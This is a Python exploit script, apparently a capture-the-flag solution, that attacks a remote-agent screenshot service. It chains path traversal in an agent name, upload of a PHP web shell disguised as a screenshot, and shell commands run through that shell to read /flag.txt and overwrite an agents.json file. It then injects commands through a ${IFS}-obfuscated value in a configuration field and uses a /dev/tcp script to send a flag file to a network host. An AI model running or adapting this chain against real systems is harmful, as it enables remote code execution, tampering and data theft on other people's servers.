import base64
import json
import struct
import time
import requests

s = requests.Session()

RES_OK, RES_NO_CONTENT, RES_ERROR = 0, 1, 2
OP_REGISTER, OP_PULL, OP_SCREENSHOT = 1, 2, 4
CMD_OP_SCREENSHOT = 1

def write_str(buf: list, s: str) -> None:
    b = s.encode("utf-8")
    buf.append(struct.pack(">H", len(b)))
    buf.append(b)

def read_str(data: bytes, offset: list) -> str:
    if offset[0] + 2 > len(data):
        return ""
    (n,) = struct.unpack_from(">H", data, offset[0])
    offset[0] += 2
    if offset[0] + n > len(data):
        return ""
    out = data[offset[0] : offset[0] + n].decode("utf-8", errors="replace")
    offset[0] += n
    return out

def build_register(name: str) -> bytes:
    buf = [bytes([OP_REGISTER])]
    write_str(buf, name)
    return b"".join(buf)

def build_pull(agent_id: str) -> bytes:
    buf = [bytes([OP_PULL])]
    write_str(buf, agent_id)
    return b"".join(buf)

def build_screenshot(agent_id: str, command_id: int, mime: str, image_b64: bytes) -> bytes:
    buf = [bytes([OP_SCREENSHOT])]
    write_str(buf, agent_id)
    buf.append(struct.pack(">Q", command_id & 0xFFFFFFFFFFFFFFFF))
    write_str(buf, mime)
    buf.append(struct.pack(">I", len(image_b64)))
    buf.append(image_b64)
    return b"".join(buf)

def build_raw_result_shell_script(
    host: str, port: int, agent_id: str, command_id: int = 1, path: str = "/_agent"
) -> str:
    return f'''#!/usr/bin/env bash
set -e
[ "$#" -ge 1 ] ||{{ echo "usage: $0 <message>" >&2; exit 1;}}
H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r}
M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML))
put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}}
put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}}
put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}}
exec 3<>/dev/tcp/"$H"/"$P"
printf "POST %s HTTP/1.1\\\\r\\\\nHost: %s:%s\\\\r\\\\nContent-Type: application/octet-stream\\\\r\\\\nContent-Length: %s\\\\r\\\\n\\\\r\\\\n" "$U" "$H" "$P" "$B" >&3
put8 3; put16 "$AL" >&3; printf '%s' "$A" >&3; put64 >&3; put8 0; put16 "$ML" >&3; printf '%s' "$M" >&3
exec 3>&-
'''

def do_raw(base_url: str, body: bytes) -> tuple[int, bytes]:
    resp = s.post(
        base_url.rstrip("/") + "/_agent",
        data=body,
        headers={"Content-Type": "application/octet-stream"},
        timeout=20,
    )
    raw = resp.content
    if resp.status_code >= 400:
        if len(raw) >= 1 and raw[0] == RES_ERROR:
            off = [1]
            raise RuntimeError(f"server error:{read_str(raw, off)}")
        raise RuntimeError(f"request failed{resp.status_code}")
    if len(raw) < 1:
        return RES_NO_CONTENT, b""
    return int(raw[0]), raw[1:]

def register(base_url: str, name: str) -> tuple[str, str, int]:
    code, payload = do_raw(base_url, build_register(name))
    if code == RES_ERROR:
        raise RuntimeError("registration failed")
    if code != RES_OK or not payload:
        raise RuntimeError("invalid register response")
    off = [0]
    agent_id = read_str(payload, off)
    access_code = read_str(payload, off)
    poll_ms = struct.unpack_from(">I", payload, off[0])[0] if off[0] + 4 <= len(payload) else 2000
    return agent_id, access_code, poll_ms

def pull_command(base_url: str, agent_id: str) -> tuple[int, int, int, int, str, str] | None:
    code, payload = do_raw(base_url, build_pull(agent_id))
    if code == RES_ERROR:
        raise RuntimeError("pull failed")
    if code == RES_NO_CONTENT or not payload:
        return None
    off = [0]
    if off[0] + 8 > len(payload):
        return None
    (cmd_id,) = struct.unpack_from(">Q", payload, off[0])
    off[0] += 8
    if off[0] >= len(payload):
        return None
    opcode = payload[off[0]]
    off[0] += 1
    if off[0] + 8 > len(payload):
        return None
    x, y = struct.unpack_from(">ii", payload, off[0])
    off[0] += 8
    return (cmd_id, opcode, x, y, read_str(payload, off), read_str(payload, off))

def upload_screenshot(base_url: str, agent_id: str, command_id: int, mime: str, image_bytes: bytes) -> None:
    body = build_screenshot(agent_id, command_id, mime, base64.b64encode(image_bytes))
    if do_raw(base_url, body)[0] == RES_ERROR:
        raise RuntimeError("screenshot upload failed")

def pend(i: int, typ: str, cmd: str = "", keys: str = "", err: str = "") -> dict:
    return {"id": i, "type": typ, "x": 0, "y": 0, "cmd": cmd, "keys": keys, "status": "pending", "error": err, "created_at": ""}

def push_agents(sh, key: str, agent: dict) -> None:
    b64 = base64.b64encode(json.dumps({key: agent}).encode()).decode()
    sh(f"echo '{b64}' | base64 -d > /app/enki-data/agents.json")

def run_attack() -> None:
    global s
    s = requests.Session()
    r = s.post("<http://15.165.103.134/api/instances>").json()
    web_url = r["web_url"].rstrip("/")
    print(f"[*] Instance:{r['id']}, web_url:{web_url}")

    agent_id, access_code, _ = register(web_url, "../../../../../../app/enki/workspace/paw")
    print(f"[*] Registered: agent_id={agent_id}, access_code={access_code}")

    q = s.post(
        f"{web_url}/?code={access_code}",
        data={"action": "request_screenshot", "code": access_code},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        timeout=10,
        allow_redirects=True,
    )
    print(
        "[*] Screenshot queued."
        if q.status_code == 200 and "Screenshot command queued" in q.text
        else f"[!] Queue failed:{q.status_code}"
    )

    mini = b"<?php system($_POST['a']); ?>"
    for _ in range(30):
        cmd = pull_command(web_url, agent_id)
        if not cmd:
            time.sleep(1)
            continue
        cid, opcode, x, y, cmd_str, keys = cmd
        print(f"[*] cmd id={cid} op={opcode} x={x} y={y} cmd={cmd_str} keys={keys}")
        if opcode == CMD_OP_SCREENSHOT:
            upload_screenshot(web_url, agent_id, cid, "image/php", mini)
            print("[*] screenshot uploaded.")
            break
        time.sleep(1)
    else:
        print("[!] No screenshot command received.")

    def sh(cmd: str) -> str:
        return s.post(f"{web_url}/workspace/paw.php", data={"a": cmd}).text

    flag = sh("cat /flag.txt")
    print(f"first flag:{flag}")
    time.sleep(3)

    agents = json.loads(sh("cat /app/enki-data/agents.json"))
    key = next(k for k in agents if "../" not in k)
    agent = agents[key]
    vid, vcode = agent["agent_id"], agent["access_code"]

    agent["commands"] = [pend(1, "sysinfo")]
    push_agents(sh, key, agent)
    time.sleep(3)
    out = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][0]["error"]
    victim_ip = out.split("ip: ")[1].split("\\n")[0]
    host_ips = [i for i in sh("hostname -I").split() if i]
    net = ".".join(victim_ip.split(".")[:3])
    host_ip = next(
        (ip for ip in host_ips if ip.startswith(f"{net}.") and ip.count(".") == 3),
        host_ips[0] if host_ips else "",
    )
    print(f"victim_ip:{victim_ip}, host_ip:{host_ip}")

    b64 = base64.b64encode(build_raw_result_shell_script(host_ip, 80, vid, 2, "/_agent").encode()).decode()
    inj = "echo${IFS}AAAA${IFS}|base64${IFS}-d${IFS}>/tmp/shell.sh".replace("AAAA", b64)
    inj = f"PWD[$({inj})]"
    data = {
        "name": key,
        "agent_id": vid,
        "access_code": vcode,
        "poll_interval_ms": inj,
        "saved_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
    }
    agent["commands"] = [
        pend(1, "save", "./agent-registration.json", json.dumps(data)),
        pend(2, "aaaa"),
    ]
    push_agents(sh, key, agent)
    time.sleep(4)

    data["poll_interval_ms"] = "PWD[$(bash${IFS}/tmp/shell.sh${IFS}$(cat${IFS}/flag.txt))]"
    agent["commands"][0]["keys"] = json.dumps(data)
    push_agents(sh, key, agent)
    time.sleep(4)

    flag2 = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][1]["error"]
    print(sh("cat /etc/hosts"))
    print(f"second flag:{flag2}")
    print(f"flag:{flag + flag2}")

if __name__ == "__main__":
    run_attack()